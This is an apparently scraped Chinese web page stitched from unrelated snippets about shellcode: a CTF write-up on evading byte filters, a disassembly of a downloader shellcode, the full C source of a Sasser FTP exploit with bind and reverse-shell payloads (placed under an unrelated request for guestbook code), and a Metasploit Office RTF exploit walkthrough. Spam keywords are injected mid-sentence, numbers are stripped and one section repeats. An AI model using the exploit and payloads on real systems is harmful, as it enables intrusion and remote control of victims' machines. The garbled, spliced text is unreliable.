【hql源码】【php电子图册源码】【程序源码库】shellcode转换器源码_shell转码命令

时间:2024-12-27 20:25:06 编辑:jwt认证源码 来源:后端源码安装

1.CTFer成长日记16:用动态生成的转l转代码绕过程序的静态安全检查——shellcode敏感字节检测绕过
2.hex文件是什么?
3.急求一套公司用的源代码,只要有留言功能就可以,换器主页要漂亮点的源码
4.delphi真的不可以写shellcode么
5.针对Office软件的渗透攻击实例MS10-087安全漏洞分析学习(index: metasploit)
6.十六进制编码的c语言是怎样的

shellcode转换器源码_shell转码命令

CTFer成长日记16:用动态生成的代码绕过程序的静态安全检查——shellcode敏感字节检测绕过

       敏感字节检查绕过的基本原理,关键在于利用程序执行的码命动态特性。在执行时,转l转若目标程序能允许某段内存被读写执行,换器hql源码我们就能尝试将shellcode注入,源码借此劫持程序执行流至shellcode首地址,码命实现ret2shellcode攻击。转l转

       然而,换器目标程序往往会对输入进行检查,源码发现敏感字节序列,码命如syscall、转l转int等指令对应的换器机器码时,会拒绝输入,源码导致攻击失败。解决之道在于,编写一段可动态生成shellcode的代码。此代码本身不是shellcode,但能在执行中自动生成shellcode并执行,以此绕过敏感字节检查。

       理解ret2shellcode攻击过程后,我们能设想编写代码动态生成shellcode。具体方法是删除或替换敏感字节,并在执行时恢复。通过对比原始与修改后的shellcode,我们发现,关键在于修改自身shellcode的代码。

       为了生成直接可用的shellcode,需修改原始shellcode,php电子图册源码确保满足特定条件,即敏感字节序列指令在执行前恢复。将用于修改自身的shellcode片段置于shellcode头部,确保敏感字节指令被执行前恢复,实现绕过。

       接下来,通过实例题验证上述方法的有效性。自定义源代码,使用特定命令编译,关闭程序的防御机制。通过内存布局,利用shellcode长度与main函数返回地址之间的偏移,实现攻击。

       针对原始shellcode中的敏感字节,利用pwntools提供的shellcraft.sh()函数修改,首先删去syscall指令,接着在汇编代码头部添加修改自身shellcode的代码,尾部补全syscall指令对应的机器码。通过异或操作,将敏感字节序列转换为可接受的序列。

       最后,解决的问题是获取shellcode尾部地址。通过输出shellcode首地址的程序,结合生成等效shellcode,利用脚本获取机器码长度,最终编写攻击脚本完成整个过程。

hex文件是什么?

       文件有两种,一种是文本文件,一种是程序源码库程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

       1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

       OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

        在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

       2、个人收集源码查询对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

       拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

       将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

       4AD    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

       4AD    :A1          mov     eax, dword ptr fs:[]                        ; 取peb

       4AD    8B 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

       4ADB    8B 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

       4ADE    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel.dll的地址

       4ADF    8B                 mov     eax, dword ptr [eax+8]                        ; eax=kernel.dll的地址

       4AD    8BD8                   mov     ebx, eax                                      ; ebx=kernel.dll的基址

       4AD    8B 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

       4AD    8BE               mov     esi, dword ptr [esi+ebx+]                   ; esi为kernel.dll导出表的偏移

       4ADB    F3                   add     esi, ebx                                      ; esi = kernel.dll导出表的虚拟地址

       4ADD    8B7E                 mov     edi, dword ptr [esi+]                       ; edi=ent的偏移地址

       4AD    FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

       4AD    8B4E                 mov     ecx, dword ptr [esi+]                       ; ecx = kernel.dll导出地址的个数

       4AD    ED                   xor     ebp, ebp                                      ; ebp=0

       4AD                         push    esi                                           ; 保存导出表虚拟地址

       4AD                         push    edi                                           ; 保存ent虚拟地址

       4AD                         push    ecx                                           ; 保存计数

       4ADA    8B3F                   mov     edi, dword ptr [edi]

       4ADC    FB                   add     edi, ebx                                      ; 定位ent中的函数名

       4ADE    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

       4AD    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

       4AD                         pop     ecx                                           ; 设置循环次数为 0xe

       4AD    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

       4AD                       je      short 4ADF                                ; 如果ENT中的函数名为GetProcAddress跳走

       4AD                         pop     ecx                                           ; 不相等则将导出地址数出栈

       4AD    5F                     pop     edi                                           ; ent虚拟地址出栈

       4AD    C7                 add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

       4ADC                         inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

       4ADD  ^ E2 E9                  loopd   short 4AD                                ; 循环查询

       4ADF                         pop     ecx

       4AD    5F                     pop     edi

       4AD    5E                     pop     esi

       4AD    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

       4AD    8B                 mov     eax, dword ptr [esi+]                       ; esi+0x Ordinal序号表偏移地址

       4AD    C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

       4AD    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

       4ADB    C1                   add     eax, ecx

       4ADD    C9                   xor     ecx, ecx                                      ; ecx=0

       4ADF    :8B                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

       4AD    8B 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel.dll的EAT的偏移地址

       4AD >  C3                   add     eax, ebx                                      ; eax = kernel.dll的eat虚拟地址

       4AD    C1E1                 shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

       4ADA    C1                   add     eax, ecx

       4ADC    8B                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

       4ADE    C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

       4AD    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

       4AD    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

       4AD    C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

       4AD    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

       4AD    6A                   push    4

       4ADB                         pop     ecx                                           ; ecx=4

       有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

       4ADC    E8             call    4ADE1                                      ; 设置IAT 得到4个函数的云南到大连源码地址

       4AD    C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

       4AD                         push    edx

       4AD                         push    esi                                           ; urlmon

       4AD    FF FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll

       4AD    5A                     pop     edx                                           ; edx = GetProcAddress的地址

       4ADA    8BD8                   mov     ebx, eax

       4ADC    6A                   push    1

       4ADE                         pop     ecx

       4ADF    E8 3D            call    4ADE1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

       4ADA4    C6                 add     esi,                                        ; esi指向URLDownLoadToFileA的末地址

       4ADA7                         push    esi

       4ADA8                         inc     esi

       4ADA9    E                 cmp     byte ptr [esi],                             ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束

       4ADAC  ^  FA                  jnz     short 4ADA8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x

       4ADAE                     xor     byte ptr [esi], 

       4ADB1    5E                     pop     esi

       4ADB2    EC                 sub     esp,                                        ; 开辟  byte栈空间

       4ADB5 >  8BDC                   mov     ebx, esp                                      ; ebx为栈区的指针

       4ADB7    6A                   push    

       4ADB9                         push    ebx

       4ADBA    FF EC                call    dword ptr [edi-]                            ; 调用GetSystemDirectoryA得到系统目录

       4ADBD    C 5CE        mov     dword ptr [ebx+eax], EC                 ; ebx+0x 系统路径占 0x个字节

       4ADC4    C       mov     dword ptr [ebx+eax+4],                    ; 拼接下载后的文件路径%systemroot%\system\a.exe

       4ADCC    C0                   xor     eax, eax

       4ADCE                         push    eax

       4ADCF                         push    eax

       4ADD0                         push    ebx

       4ADD1                         push    esi

       4ADD2                         push    eax

       4ADD3 >  FF FC                call    dword ptr [edi-4]                             ; URLDownLoadToFile下载文件为a.exe

       4ADD6    8BDC                   mov     ebx, esp

       4ADD8                         push    eax

       4ADD9                         push    ebx

       4ADDA    FF F0                call    dword ptr [edi-]                            ; WinExec执行代码

       4ADDD                         push    eax

       4ADDE    FF F4                call    dword ptr [edi-C]                             ; ExitThread退出线程

       接下来的操作便是通过已获得地址的GetProcAddress()来分别得到GetSystemDirectory()、URLDownLoadToFile()、WinExec()及ExitProcess()函数的地址,并依次执行。到这里实际上有经验的程序员,马上就能写出C语言代码来。 后面的数据区不在分析了,主要是介绍如何操作。

       使用C语言,虽然知道了Hex文件的大致流程,但是一般来说,对于汇编指令,更倾向于直接使用asm关键字来使用内联汇编。如下图所示:

       通过这个实例 ,相信应该能理解一个大致的流程啦。

急求一套公司用的源代码,只要有留言功能就可以,主页要漂亮点的

       #include <stdio.h>

       #include <strings.h>

       #include <signal.h>

       #include <netinet/in.h>

       #include <netdb.h>

       #define NORM "\[;m"

       #define GREEN "\[;m"

       #define YELL "\[;m"

       #define RED "\[;m"

       #define BANNER GREEN "[%%] " YELL "mandragore's sploit v1.3 for " RED "sasser.x" NORM

       #define fatal(x) { perror(x); exit(1); }

       #define default_port

       struct { char *os; long goreg; long gpa; long lla;}

       targets[] = {

       // { "os", go ebx or pop pop ret, GetProcAd ptr, LoadLib ptr },

       { "wXP SP1 all", 0xC0BF, 0xbeCC, 0xbeD0 },

       { "w2k SP4 all", 0xD, 0xcc, 0xd0 },

       }, tsz;

       unsigned char bsh[]={

       0xEB,0x0F,0x8B,0x,0x,0x,0xC9,0x,0xC1,0xDD,0x,0x,0xDE,0x,0xE2,0xFA,

       0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x,0xD8,0xDE,0xDE,0x,0xDE,0xFE,0x9E,

       0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x,0x8A,0x,0xCB,0xDA,0xFE,

       0x9E,0xDE,0x,0x,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x,0xD5,0xDE,0xDE,

       0xDE,0x,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x,0x,0xC8,0x,

       0x0E,0x4D,0xB4,0xDE,0xB6,0xDC,0xDE,0xCA,0x6A,0x,0x1A,0xB4,0xCE,0x8E,0x8D,0x,

       0xDB,0xDE,0xDE,0xDE,0xBC,0xB7,0xB0,0xBA,0xDE,0x,0x,0xC8,0x,0x0E,0xB4,0xDF,

       0x8D,0x,0xD9,0xDE,0xDE,0xDE,0xB2,0xB7,0xAD,0xAA,0xBB,0xB0,0xDE,0x,0x,0xC8,

       0x,0x0E,0xB4,0xDE,0x8A,0x8D,0x,0xD9,0xDE,0xDE,0xDE,0xBF,0xBD,0xBD,0xBB,0xAE,

       0xAA,0xDE,0x,0x,0xC8,0x,0x0E,0x,0x,0xED,0x1E,0xB4,0xCE,0x,0x,0x,

       0x,0xDD,0x,0x,0x2D,0x,0x,0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,

       0x,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,0xBA,0xDE,0x8E,0x,0xD1,0xDE,0xDE,0xDE,0x9D,

       0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x,0xD9,

       0x9A,0x,0x,0xF2,0xDF,0xDF,0xDE,0xDE,0x5D,0x,0xE6,0x4D,0x,0x,0x,0xBA,

       0xB9,0x7F,0xEE,0xDE,0x,0x9E,0xD2,0x,0x9E,0xC2,0x,0xDE,0x,0xAE,0xD6,0x,

       0xC8,0x,0x0E

       };

       unsigned char rsh[]={

       0xEB,0x0F,0x8B,0x,0x,0x,0xC9,0x,0xC1,0xB6,0x,0x,0xDE,0x,0xE2,0xFA,

       0xC3,0xE8,0xEC,0xFF,0xFF,0xFF,0xBA,0xB9,0x,0xD8,0xDE,0xDE,0x,0xDE,0xFE,0x9E,

       0xDE,0xB6,0xED,0xEC,0xDE,0xDE,0xB6,0xA9,0xAD,0xEC,0x,0x8A,0x,0xCB,0xDA,0xFE,

       0x9E,0xDE,0x,0x,0x8C,0x8C,0x8C,0x8C,0x9C,0x8C,0x9C,0x8C,0x,0xD5,0xDE,0xDE,

       0xDE,0x,0x8D,0x9F,0x8D,0xB1,0xBD,0xB5,0xBB,0xAA,0x9F,0xDE,0x,0x,0xC8,0x,

       0x0E,0x4D,0xB6,0xA1,0xDE,0xDE,0xDF,0xB6,0xDC,0xDE,0xCA,0x6A,0x,0x1A,0xB4,0xCE,

       0x8E,0x8D,0x,0xD6,0xDE,0xDE,0xDE,0xBD,0xB1,0xB0,0xB0,0xBB,0xBD,0xAA,0xDE,0x,

       0x,0xC8,0x,0x0E,0xB4,0xCE,0x,0x,0x,0x,0xDD,0x,0x,0x2D,0x,0x,

       0xE2,0xFA,0x8E,0x8E,0x8E,0xB4,0xDF,0x8E,0x8E,0x,0xDA,0xDE,0xDE,0xDE,0xBD,0xB3,

       0xBA,0xDE,0x8E,0x,0xD1,0xDE,0xDE,0xDE,0x9D,0xAC,0xBB,0xBF,0xAA,0xBB,0x8E,0xAC,

       0xB1,0xBD,0xBB,0xAD,0xAD,0x9F,0xDE,0x,0xD9,0x9A,0x,0x,0xF2,0xDF,0xDF,0xDE,

       0xDE,0x5D,0x,0xE6,0x4D,0x,0x,0x,0xBA,0xB9,0x7F,0xEE,0xDE,0x,0x9E,0xD2,

       0x,0x9E,0xC2,0x,0xDE,0x,0xAE,0xD6,0x,0xC8,0x,0x0E

       };

       char verbose=0;

       void setoff(long GPA, long LLA) {

       int gpa=GPA^0xdededede, lla=LLA^0xdededede;

       memcpy(bsh+0x1d,&gpa,4);

       memcpy(bsh+0x2e,&lla,4);

       memcpy(rsh+0x1d,&gpa,4);

       memcpy(rsh+0x2e,&lla,4);

       }

       void usage(char *argv0) {

       int i;

       printf("%s -d <host/ip> [opts]\n\n",argv0);

       printf("Options:\n");

       printf(" -h undocumented\n");

       printf(" -p <port> to connect to [default: %u]\n",default_port);

       printf(" -s <'bind'/'rev'> shellcode type [default: bind]\n");

       printf(" -P <port> for the shellcode [default: ]\n");

       printf(" -H <host/ip> for the reverse shellcode\n");

       printf(" -L setup the listener for the reverse shell\n");

       printf(" -t <target type> [default 0]; choose below\n\n");

       printf("Types:\n");

       for(i = 0; i < sizeof(targets)/sizeof(tsz); i++)

       printf(" %d %s\t[0x%.8x]\n", i, targets.os, targets.goreg);

       exit(1);

       }

       void shell(int s) {

       char buff[];

       int retval;

       fd_set fds;

       printf("[+] connected!\n\n");

       for (;;) {

       FD_ZERO(&fds);

       FD_SET(0,&fds);

       FD_SET(s,&fds);

       if (select(s+1, &fds, NULL, NULL, NULL) < 0)

       fatal("[-] shell.select()");

       if (FD_ISSET(0,&fds)) {

       if ((retval = read(1,buff,)) < 1)

       fatal("[-] shell.recv(stdin)");

       send(s,buff,retval,0);

       }

       if (FD_ISSET(s,&fds)) {

       if ((retval = recv(s,buff,,0)) < 1)

       fatal("[-] shell.recv(socket)");

       write(1,buff,retval);

       }

       }

       }

       void callback(short port) {

       struct sockaddr_in sin;

       int s,slen=;

       sin.sin_family = 2;

       sin.sin_addr.s_addr = 0;

       sin.sin_port = htons(port);

       s=socket(2,1,6);

       if ( bind(s,(struct sockaddr *)&sin, ) ) {

       kill(getppid(),SIGKILL);

       fatal("[-] shell.bind");

       }

       listen(s,1);

       s=accept(s,(struct sockaddr *)&sin,&slen);

       shell(s);

       printf("crap\n");

       }

       int main(int argc, char **argv, char **env) {

       struct sockaddr_in sin;

       struct hostent *he;

       char *host; int port=default_port;

       char *Host; int Port=; char bindopt=1;

       int i,s,pid=0,rip;

       char *buff;

       int type=0;

       char *jmp[]=;

       printf(BANNER "\n");

       if (argc==1)

       usage(argv[0]);

       for (i=1;i<argc;i+=2) {

       if (strlen(argv) != 2)

       usage(argv[0]);

       switch(argv[1]) {

       case 't':

       type=atoi(argv[i+1]);

       break;

       case 'd':

       host=argv[i+1];

       break;

       case 'p':

       port=atoi(argv[i+1])?:default_port;

       break;

       case 's':

       if (strstr(argv[i+1],"rev"))

       bindopt=0;

       break;

       case 'H':

       Host=argv[i+1];

       break;

       case 'P':

       Port=atoi(argv[i+1])?:;

       Port=Port ^ 0xdede;

       Port=(Port & 0xff) << 8 | Port >>8;

       memcpy(bsh+0x,&Port,2);

       memcpy(rsh+0x5a,&Port,2);

       Port=Port ^ 0xdede;

       Port=(Port & 0xff) << 8 | Port >>8;

       break;

       case 'L':

       pid++; i--;

       break;

       case 'v':

       verbose++; i--;

       break;

       case 'h':

       usage(argv[0]);

       default:

       usage(argv[0]);

       }

       }

       if (verbose)

       printf("verbose!\n");

       if ((he=gethostbyname(host))==NULL)

       fatal("[-] gethostbyname()");

       sin.sin_family = 2;

       sin.sin_addr = *((struct in_addr *)he->h_addr_list[0]);

       sin.sin_port = htons(port);

       printf("[.] launching attack on %s:%d..\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),port);

       if (bindopt)

       printf("[.] will try to put a bindshell on port %d.\n",Port);

       else {

       if ((he=gethostbyname(Host))==NULL)

       fatal("[-] gethostbyname() for -H");

       rip=*((long *)he->h_addr_list[0]);

       rip=rip^0xdededede;

       memcpy(rsh+0x,&rip,4);

       if (pid) {

       printf("[.] setting up a listener on port %d.\n",Port);

       pid=fork();

       switch (pid) { case 0: callback(Port); }

       } else

       printf("[.] you should have a listener on %s:%d.\n",inet_ntoa(*((struct in_addr *)he->h_addr_list[0])),Port);

       }

       printf("[.] using type '%s'\n",targets[type].os);

       // -------------------- core

       s=socket(2,1,6);

       if (connect(s,(struct sockaddr *)&sin,)!=0) {

       if (pid) kill(pid,SIGKILL);

       fatal("[-] connect()");

       }

       printf("[+] connected, sending exploit\n");

       buff=(char *)malloc();

       bzero(buff,);

       sprintf(buff,"USER x\n");

       send(s,buff,strlen(buff),0);

       recv(s,buff,,0);

       sprintf(buff,"PASS x\n");

       send(s,buff,strlen(buff),0);

       recv(s,buff,,0);

       memset(buff+,0x,);

       strncpy(buff,"PORT ",5);

       strcat(buff,"\");

       memcpy(buff+,jmp[0],2);

       memcpy(buff+,&targets[type].goreg,4);

       memcpy(buff+,jmp[1],5);

       setoff(targets[type].gpa, targets[type].lla);

       if (bindopt)

       memcpy(buff+,&bsh,strlen(bsh));

       else

       memcpy(buff+,&rsh,strlen(rsh));

       send(s,buff,strlen(buff),0);

       free(buff);

       close(s);

       // -------------------- end of core

       if (bindopt) {

       sin.sin_port = htons(Port);

       sleep(1);

       s=socket(2,1,6);

       if (connect(s,(struct sockaddr *)&sin,)!=0)

       fatal("[-] exploit most likely failed");

       shell(s);

       }

       if (pid) wait(&pid);

       exit(0);

       }

delphi真的不可以写shellcode么

       ä¸€èˆ¬çš„ShellCode都是~ASM和C写的~Delphi作的到是很少有具体例子 其实使用Delphi写不是不可能~就是麻烦~(Delphi的~BASM也不太灵活~至少我感觉没有直接使用TASM爽) 不过还是写一个玩玩吧~这里仅仅作个演示代码~ 以下ShellCode源代码:

针对Office软件的渗透攻击实例MS-安全漏洞分析学习(index: metasploit)

       针对Office软件的渗透攻击实例——MS-安全漏洞分析与学习

       在Metasploit中搜索“ms_”,加载该模块并显示基本信息。该漏洞的原因是Office程序在处理特殊构造的RTF文件时,相应解析程序在处理名为pFragments的参数时存在栈缓冲区溢出错误,导致异常发生。RTF格式文件属于Word应用程序所处理的文件格式,一个后缀名为rtf的文件在更改后不影响其使用。Office 默认启用了DEP,同时存在ASLR机制,这使得对Office +Windows 7中该漏洞的利用变得更加困难,但并非不可能。利用MS-漏洞的实验并未以Win7为目标。

       设置渗透模块的攻击载荷为运行一个计算器,以便于观察。在Metasploit中使用命令“use exploit/windows/fileformat/ms__rtf_pfragments_bof”加载模块,设置攻击载荷为“set payload windows/exec”并设置命令为“set CMD calc.exe”。设置文件名为“ms.rtf”并执行“exploit”。将生成的文件复制给目标机器,双击打开。

       深入研究MS-漏洞的渗透攻击模块源代码。该模块范围从到,是一个典型的利用SEH(Structured Exception Handling)的方式,包含Ret和偏移量。变量sploit被填充到名为pFragments的属性参数中,导致缓冲区溢出。逆向分析该漏洞的机理,打开OD(OllyDbg)工具,打开Word进程(winword.exe)并设置断点,观察具体执行过程。

       启动IDA Pro,加载mso.dll文件进行反汇编分析。在函数入口处设置断点,运行Word进程并打开测试文件。在函数执行过程中,观察到的数据复制指令会导致栈溢出。利用IDA Pro的图形反汇编视图查看关键信息,发现函数主要功能是复制字符串,涉及三个参数:数据源位置、复制次数和数据源寻址。

       通过研究函数的反汇编代码,发现程序没有对输入参数进行检查或限制,这是产生漏洞的根本原因。修改mso.dll文件设置软件断点,观察测试文件利用SEH的过程。在经过超长的数据复制后,栈底附近的SEH链被修改。运行程序时,由于断点的设置或调试过程中的问题,导致报错并跳转到不可达地址。

       文件格式分析部分详细介绍了RTF文档格式,包括文档头、图形相关信息、绘图属性、属性名和属性值等。分析了RTF漏洞的原因:在进行复制时未对复制次数进行检测,导致栈溢出。通过源代码展示了RTF解析pFragments属性的部分过程,揭示了复制次数控制的实现方式以及漏洞产生的原理。

       基于Metasploit的POC(Proof of Concept)展示了漏洞利用原理,包括栈溢出导致SEH机制触发、异常处理和shellcode执行的过程。具体过程涉及栈溢出时将基本信息压入栈、后续压入直接跳转和执行shellcode的地址。通过构建RTF文档,设置了恰当的pFragments属性值,填充shellcode、directe和Ret等关键信息,最终实现攻击目的。

       文件的基本格式构造强调了在构造RTF文档时,正确设置pFragments属性的重要性。构造过程涉及到属性值的前部填充、复制次数、shellcode填充、直接跳转和shellcode执行的地址构建。通过实验和分析,揭示了如何利用MS-漏洞进行渗透攻击。

十六进制编码的c语言是怎样的

       文件有两种,一种是文本文件,一种是程序二进制文件,不管哪种文件都可以用十六进制编码来显示,称为hex文件。

       1、文本Hex文件一般不需要转成C语言,更多的是程序二进制文件,用十六进制显示,可以转换成C语言,一般使用相应的反汇编程序来实现,这方面的工具很多,不同的平台略有不同。Windows平台一般常用的OllyDbg、Windbg、IDA,Linux平台使用最多的是GDB和Linux版的IDA。

       OllyDbg,简称OD,一般是软件逆向工程爱好者,最先使用的一个工具,但是因为当下不在更新,所以一般用一般用于学习使用,下图中左上角的区域即为反汇编区域 ,用户可以根据汇编指令,分析程序算法,然后自己编写代码。

        在Windows平台,特别是x平台,最好用的反汇编工具除还得是Windbg。将程序载入Windbg后,可以输入u命令来查看程序的反汇编代码。

       2、对于编程人员来说,逆向分析是一个基本的技能,但是往往不容易入门,这里举一个例子。以一段早些年ShellCode的十六进制代码为例,代码如下图所示,这段不起眼的代码,实际上实现了一个下载者的功能。

       拿到这样的十六进制代码,一般来说,先将其生成二进制文件,然后再分析其指令,通过反汇编指令再写出源码。只需要将上面的十六进制代码,保存到C语言的字符串数组中,写入到一个Exe的文件空段中,再修改指令将其跳转到程序入口处即可,这个过程类似于软件安全领域的壳。

       将十六进制代码写入一个exe文件后,就可以将exe文件载入动态调试器进行动态分析或者使用静态反汇编程序进行静态分析,两者的不同在于动态调试器是要运行程序的,而静态反汇编分析不需要运行程序,所以一般恶意程序,都采用静态分析。反汇编开头的一段十六进制代码注释如下:

       4AD    5A                     pop     edx                                           ; 函数返回的地址保存到edx中

       4AD    :A1          mov     eax, dword ptr fs:[]                        ; 取peb

       4AD    8B 0C                mov     eax, dword ptr [eax+C]                        ; peb_link

       4ADB    8B 1C                mov     esi, dword ptr [eax+1C]                       ; 初始化列表到esi

       4ADE    AD                     lods    dword ptr [esi]                               ; [esi]->eax + 8的位置即kernel.dll的地址

       4ADF    8B                 mov     eax, dword ptr [eax+8]                        ; eax=kernel.dll的地址

       4AD    8BD8                   mov     ebx, eax                                      ; ebx=kernel.dll的基址

       4AD    8B 3C                mov     esi, dword ptr [ebx+3C]                       ; esi = pe头偏移

       4AD    8BE               mov     esi, dword ptr [esi+ebx+]                   ; esi为kernel.dll导出表的偏移

       4ADB    F3                   add     esi, ebx                                      ; esi = kernel.dll导出表的虚拟地址

       4ADD    8B7E                 mov     edi, dword ptr [esi+]                       ; edi=ent的偏移地址

       4AD    FB                   add     edi, ebx                                      ; edi = ent的虚拟地址

       4AD    8B4E                 mov     ecx, dword ptr [esi+]                       ; ecx = kernel.dll导出地址的个数

       4AD    ED                   xor     ebp, ebp                                      ; ebp=0

       4AD                         push    esi                                           ; 保存导出表虚拟地址

       4AD                         push    edi                                           ; 保存ent虚拟地址

       4AD                         push    ecx                                           ; 保存计数

       4ADA    8B3F                   mov     edi, dword ptr [edi]

       4ADC    FB                   add     edi, ebx                                      ; 定位ent中的函数名

       4ADE    8BF2                   mov     esi, edx                                      ; esi为 要查询的函数GetProcAddress即该call的下一个地址是数据

       4AD    6A 0E                  push    0E                                            ; 0xe0是GetProcAddress函数的字符个数

       4AD                         pop     ecx                                           ; 设置循环次数为 0xe

       4AD    F3:A6                  repe    cmps byte ptr es:[edi], byte ptr [esi]        ; ecx!=0&&zf=1 ecx=ecx-1 cmps判断 GetProcAddress

       4AD                       je      short 4ADF                                ; 如果ENT中的函数名为GetProcAddress跳走

       4AD                         pop     ecx                                           ; 不相等则将导出地址数出栈

       4AD    5F                     pop     edi                                           ; ent虚拟地址出栈

       4AD    C7                 add     edi, 4                                        ; edi地址递增4字节 因为ENT的元素大小为4字节

       4ADC                         inc     ebp                                           ; ebp用于保存ent中定位到GetProcAddress函数时的计数

       4ADD  ^ E2 E9                  loopd   short 4AD                                ; 循环查询

       4ADF                         pop     ecx

       4AD    5F                     pop     edi

       4AD    5E                     pop     esi

       4AD    8BCD                   mov     ecx, ebp                                      ; 计数保存于ecx

       4AD    8B                 mov     eax, dword ptr [esi+]                       ; esi+0x Ordinal序号表偏移地址

       4AD    C3                   add     eax, ebx                                      ; ordinal序号表的虚拟地址

       4AD    D1E1                   shl     ecx, 1                                        ; ecx逻辑增加2倍  因为ordinal序号是WOR类型下面是通过add 来求ordinal所以这里必须扩大2倍

       4ADB    C1                   add     eax, ecx

       4ADD    C9                   xor     ecx, ecx                                      ; ecx=0

       4ADF    :8B                mov     cx, word ptr [eax]                            ; 保存取出的ordinal序号

       4AD    8B 1C                mov     eax, dword ptr [esi+1C]                       ; eax 为kenrnel.dll的EAT的偏移地址

       4AD >  C3                   add     eax, ebx                                      ; eax = kernel.dll的eat虚拟地址

       4AD    C1E1                 shl     ecx, 2                                        ; 同上,扩大4倍因为eat中元素为DWORD值

       4ADA    C1                   add     eax, ecx

       4ADC    8B                   mov     eax, dword ptr [eax]                          ; eax即为GetProcAddress函数的地址 相对虚拟地址,EAT中保存的RVA

       4ADE    C3                   add     eax, ebx                                      ; 与基址相加求得GetProcAddress函数的虚拟地址

       4AD    8BFA                   mov     edi, edx                                      ; GetProcAddress字符到edi

       4AD    8BF7                   mov     esi, edi                                      ; esi保存GetProcAddress地址

       4AD    C6 0E                add     esi, 0E                                       ; esi指向GetProcAddress字符串的末地址

       4AD    8BD0                   mov     edx, eax                                      ; edx为GetProcAddress的地址

       4AD    6A                   push    4

       4ADB                         pop     ecx                                           ; ecx=4

       有经验的程序员, 通过分析即明白上面反汇编代码的主要目的就是获取GetProcAddress函数的地址。继续看反汇编代码:

       4ADC    E8             call    4ADE1                                      ; 设置IAT 得到4个函数的地址

       4AD    C6 0D                add     esi, 0D                                       ; 从这里开始实现ShellCode的真正功能

       4AD                         push    edx

       4AD                         push    esi                                           ; urlmon

       4AD    FF FC                call    dword ptr [edi-4]                             ; 调用LoadLibrarA来加载urlmon.dll

       4AD    5A                     pop     edx                                           ; edx = GetProcAddress的地址

       4ADA    8BD8                   mov     ebx, eax

       4ADC    6A                   push    1

       4ADE                         pop     ecx

       4ADF    E8 3D            call    4ADE1                                      ; 再次设置 IAT 得到URLDownLoadToFileA

       4ADA4    C6                 add     esi,                                        ; esi指向URLDownLoadToFileA的末地址

       4ADA7                         push    esi

       4ADA8                         inc     esi

       4ADA9    E                 cmp     byte ptr [esi],                             ; 判断esi是否为0x 这里在原码中有0x如果要自己用,应该加上一个字节用于表示程序结束

       4ADAC  ^  FA                  jnz     short 4ADA8                                ; 跨过这个跳转,需要在OD中CTRL+E修改数据为0x

